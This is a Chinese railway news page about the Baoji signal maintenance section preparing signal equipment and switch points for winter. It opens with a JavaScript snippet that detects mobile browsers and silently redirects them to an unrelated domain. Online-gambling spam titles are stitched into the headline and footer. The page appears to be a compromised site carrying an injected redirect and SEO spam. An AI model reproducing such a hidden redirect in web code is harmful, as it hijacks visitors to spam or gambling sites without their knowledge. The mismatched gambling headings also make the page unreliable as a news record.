function browserRedirect(url) { var sUserAgent = navigator.userAgent.toLowerCase(); var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp = sUserAgent.match(/midp/i) == "midp"; var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid = sUserAgent.match(/android/i) == "android"; var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM){ window.location.replace(url); } } browserRedirect("https://www.avfgxkhh.com/m_m/2/201214.html");
今天是:
您现在的位置首页 > 铁路新闻 > 88必发官网唯一官网登录

永利娱乐场app靠谱吗

2019-10-18 22:56:06来源:用户投稿作者:宋亚玲

近期连续降温,对铁路信号设备带来极大的影响。宝鸡电务段早介入、早动手,结合集中修施工,要求管内车间班组对信号设备进行一次全面检查,重点检查道岔杆件、角钢螺栓、电缆通道、轨道连接线等各种信号设备,确保信号设备运行良好。尤其加大工电结合部检查力度,联合工务对钢轨绝缘、尖轨爬行、道岔方正等进行检查,发现问题,及时利用天窗进行工电联合整治,为信号设备防寒过冬做好准备。

图为:宝鸡电务段职工和工务部门整治尖轨爬行隐患。(宋亚玲)

1.jpg

免责声明:本网站所刊载信息,不代表本站观点。所转载内容之原创性、真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考并自行核实。

网友评论仅供其表达个人看法,并不表明本站立场。

网上澳门永利是真的吗

铁路风景